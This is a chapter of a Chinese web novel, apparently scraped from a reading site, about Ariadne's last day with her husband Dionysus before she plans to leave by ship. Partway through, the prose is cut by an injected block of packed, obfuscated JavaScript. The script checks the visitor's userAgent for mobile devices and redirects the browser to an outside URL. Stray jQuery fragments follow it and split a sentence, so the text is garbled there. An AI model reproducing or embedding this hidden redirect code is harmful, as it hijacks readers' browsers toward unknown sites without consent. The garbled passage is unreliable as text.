默认冷灰
24号文字
方正启体

22.第 22 章

作者:竹笛儿本书字数:K更新时间:
    可是丈夫支持,同伴给力,船却抛锚了。


    虽然说只要一天就可以修复,次日一定可以启航,但阿里阿德涅还是茫然了。


    不是,她都做好准备远走高飞了,怎么还带硬留的。


    虽然这一天也算不上什么大事,但是看着丈夫的疑惑,她还是唾骂自己又多想了。


    不是丈夫搞的鬼,应该纯属天灾。


    要是狄俄尼索斯想留她,那昨天就该下手了,亦或是帆船根本不会只停留一天。


    船毁人亡才是邪神的作风,就像是丈夫让泰坦血肉无存一样,他真要下手,手段绝不会这么温和。


    阿里阿德涅叹气,怎么说得她还怪了解丈夫一样,明明两人最大的秘密都没对彼此公开,怎么看都像是貌合神离。


    “今天空出来了,你想干什么?”


    阿里阿德涅也在思索这个问题,但是看着丈夫特地送她上船,肩上还背着她的行李时,心头不禁有了一个答案:


    “我陪你去牧场,行吗?”


    狄俄尼索斯明显愣了一下,随即点头:“好。”


    于是,在船员们懊恼有加,玛吉婶婶吐槽要再出门要转转运的声音中,阿里阿德涅挽着丈夫的手,迈着轻快的脚步去了山脚牧场。


    这不是她第一次来丈夫工作的地方,但是每次看都有新感觉。


    “你不在的时候,羊群也安静吃草唉,好乖。”


    阿里阿德涅十分惊讶,难怪丈夫来的路上不紧不慢。


    这牧场有他没他真的有区别吗?


    区别还是有的。


    看到狄俄尼索斯的一瞬间,一头强壮的公羊就叫了一声,然后让阿里阿德涅惊掉下巴的事情出现了。


    一群母羊排着队来到羊圈,狄俄尼索斯用清水冲洗了下木桶,它们就互帮互助,乖乖产奶。


    居然,居然是自动化的吗?


    那丈夫每天要做什么啊?


    清洗木桶?


    “还有维护草场、检查羊群是否有疾病、预防野兽、定期修建剪羊毛。”


    狄俄尼索斯一本正经地说。


    阿里阿德涅求知若渴地听。


    她就说嘛,牧民的工作哪有那么轻松,而且这并不是丈夫的羊,只是牧场主承保下来分给每个牧民按区域管理的,所以丈夫就算是装装样子,也要像个打工人啊。


    像个鬼。


    要不是她亲眼看到刚才那一幕,阿里阿德涅也就信了。


    她丝毫不怀疑,就像吃草下奶自动化一样,羊群会自动完成牧民要求的其他工作,说不定连羊毛都能互帮互助剃、呃用牙齿啃下来了。


    她就说丈夫怎么天天户外作业,却晒不黑呢,以前还以为是天生皮肤好呢。


    现在想想,说不定丈夫就像个大爷一样遮遮阳,发发呆,羊群自力更生完成所有,这当然晒不黑了啊。


    “主要是找对了方法。”


    “?”


    “训练好了头羊,整个羊群就会听话。”


    “头羊?”


    “刚才叫的那头就是,一般长得更结实强壮。”


    “原来是这样。”阿里阿德涅若有所悟。


    “嗯,就是这样,我也是用了很久,才摸索出这个道理。”


    “……”


    阿里阿德涅忍住笑,算了,忍不住。


    阿里阿德涅笑得肩膀都在抖。


    亏她还想了一下这办法还挺有科学依据的,好像有个社会学名词就叫做羊群效应,指个体在群体中往往根据大多数人的决策,从而发生跟随或盲从的行为,结果丈夫一句“用了很久”,她就打破了科学滤镜。


    邪神本神还要用很久吗?怕不是第一天就把羊群拿捏得死死的吧?


    “笑什么?”


    狄俄尼索斯随手用叶子给妻子折了个草帽:“小心晒。”


    “你不用吗?”


    “我不、我再做一个。”


    阿里阿德涅笑得不行,原来漏洞百出得这么明显吗。


    狄俄尼索斯随便搭了片叶子,眼里有些不解。


    为什么妻子一直在笑。


    他说错话了吗?


    一点草屑掉在了丈夫高挺的鼻梁上,阿里阿德涅笑够了,踮起脚尖,轻轻抹下,却被他搂紧了腰肢。


    四目相对之际,阿里阿德涅眨了下双眼,随即闭上,丈夫很快吻了上来。


    身边萦绕着太阳还有青草的香气。


    阿里阿德涅红着脸,余光看见了一头震惊异常,又低头吃草的羊。


    是那只头羊。


    什么旖旎的心思都没了。


    回想起红猪说她是被邪神变成的猪,这群羊,不会是被邪神变成的羊吧?


    那她每晚喝到的羊奶岂不是、


    阿里阿德涅脸色苍白,胃部一阵阵痉挛。


    “怎么了?”狄俄尼索斯瞬间扶住她,“天气太热,中暑了吗?”


    阿里阿德涅一句话都说不出口,只紧紧攥紧自己的衣角。


    没关系,明天就可以离开了,没关系。


    只是,她想和丈夫默默做次告别的想法,怎么变得如此讽刺呢?


    秘密之上,一切都是空中楼阁啊。


    狄俄尼索斯看她这么难受,瞬间抱起妻子,一路飞奔到医馆。


    玛吉婶婶刚吐槽闺女们看病人不细心,一抬眼吓了一跳。


    不是刚分别不久吗?怎么阿里阿德涅脸色苍白成这样?


    医馆再次忙碌。


    阿里阿德涅看着窗外,大树上,一只褐色的小鸟在枝头跳来跳去,然后振翅一飞,潇洒离开。


    鸟可以飞走,她也可以。


    狄俄尼索斯正在借用玛吉婶婶的厨房熬粥。


    从前没掌握训练头羊的办法,羊群到处跑不说,还乱吃乱拉,把牧场搞得脏乱不堪。


    他确实没有目标,想体验人生,但妻子到来后,他就懒得体验这种繁琐的人生了。


    所以,发现一头强壮的山羊有狂乱的迹象后,他顺势而为,将它变成听懂他话的头羊,让羊管理羊,这不是轻松许多吗?


    他的妻子怎么娇弱,狄俄尼索斯恨不得时时和她腻在一起,还是无意间听到邻居吵架,说“距离产生美”,“小别胜新婚”,才将将放弃。


    而且,奥林波斯那边像赶不走的苍蝇一样,惹人生厌。


    他想用更多的时间来精进力量,彻底摆脱被追杀的生活。


    他一个人无所谓,但是现在,他有家了。


    妻子胆子很小,他不能让妻子再担惊受怕。


    狄俄尼索斯将米粥熬好,最后撒了点海盐提味,端到了妻子身边。


    “喝一点,暖暖胃。”


    阿里阿德涅说了声“谢谢”,拿着勺子接过。


    医馆的碗不是厚底,她的手心有点烫。


    狄俄尼索斯干脆接过:“躺着就好,我来。”


    阿里阿德涅定定得看了他一眼,点头。


    大米的香味很好得安抚了肠胃。


    海盐的味道提鲜的同时,更是补充了电解质


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186989|180705||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,让她恢复了活力。


    阿里阿德涅眼眶酸涩,却咬牙忍住。


    不要留恋,不要回头,勇敢一点。


    狄俄尼索斯若有所思,但只用手帕擦了擦妻子的嘴角。


    “呀,我什么也没看见。”小姑娘刚推门又瞬间关上,正是玛吉婶婶的小闺女。


    以前她也好奇,但妈妈说了,哥哥姐姐要贴在一起,她就赶紧扭头,要不然会长针眼。


    妈妈说针眼就是眼睛里长针。


    她不想眼睛痛痛。


    “你这孩子,跑什么啊?药送到了吗?!”玛吉婶婶又抬高了嗓门,这孩子,冒冒失失的,这让她怎么放心百年后把医馆传给她们。


    玛吉婶婶叹了口气,只能自己端药来,想着阿里阿德涅的丈夫在,她极有分寸得在距离五米处就说:“药已经熬好了,怎么样,睡了吗?我进来看看?”


    到底不是私宅,医馆大多以门帘隔开,挺有点像现代的多人病房。


    “没睡,”阿里阿德涅反应过来,“玛吉婶婶,麻烦你了。”


    “不麻烦,你啊别多想,这世上怎么会有人无病无灾的呢,我行医多年,就没见过这样的人,有时候头疼脑热,也是身体健康的表现。”


    “您,您这样想吗?”


    “当然啊,这说明身体还听从你的使唤呢,真要是无声无息得一下子倒下,那才是灾难。”


    阿里阿德涅点头:“是这个理。”


    说话之间,玛吉婶婶已经看完了:“就是天气热,没什么大事,喝了药就行了啊。”


    狄俄尼索斯接过药,问了起效时间后,掏钱,道谢。


    阿里阿德涅躺了一会儿,感觉好多了,本来她也不是病。


    只是,只是被吓着了,当然,顶着大太阳确实不禁吓吧。


    听着玛吉婶婶对姐妹花闺女絮絮叨叨的声音,她的脑海中忽然冒出了一个念头:


    这样平凡琐碎的日常真好啊。


    她在没知道丈夫的身份之前,也有一段温馨的时光啊。


    ——


    晚餐是苹果派、奶油虾、呛生菜,主食有酸汤面,海鲜炒饭,看上去洋不洋,土不土的。


    显然有阿里阿德涅参与的痕迹。


    今天的晚餐是她和丈夫一起做的,花样看着多,但是份量并不大,所以两人也能吃完。


    夕阳下,大黄埋头小鱼干一脸沉醉,屋内,夫妻二人相对而坐,吃得安静。


    以往都是有说有笑的,当然了,主要是阿里阿德涅说,狄俄尼索斯笑,偶尔反过来,但他们很难没有话说。


    今晚,阿里阿德涅不知道说什么,干脆直接吃,好在食物都是喜欢的,所以并不难挨。


    只是晚上,洗澡吹灯后,狄俄尼索斯环过妻子的腰时,感受到了僵硬。


    几秒时间,阿里阿德涅反应过来,装作睡眼朦胧得推搡他:“累了,明天还要坐船呢。”


    她很少拒绝求欢,多半是半推半就,但是这次是真的想推却。


    告别的事情她已经一一做完了,再做纠缠,只会加剧心里的闷痛。


    丈夫倒底把她当成什么,她不想去做,也不敢去想。


    他很沉迷房事,若是执意不许——


    那她也只能乖乖照做。


    没有什么比保命更加重要,没有什么。


    狄俄尼索斯静默一瞬,枕边人的心情一览无余。


    他再看不到就是傻子。


    所以,他松松得抱着她。


    “好,睡吧。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)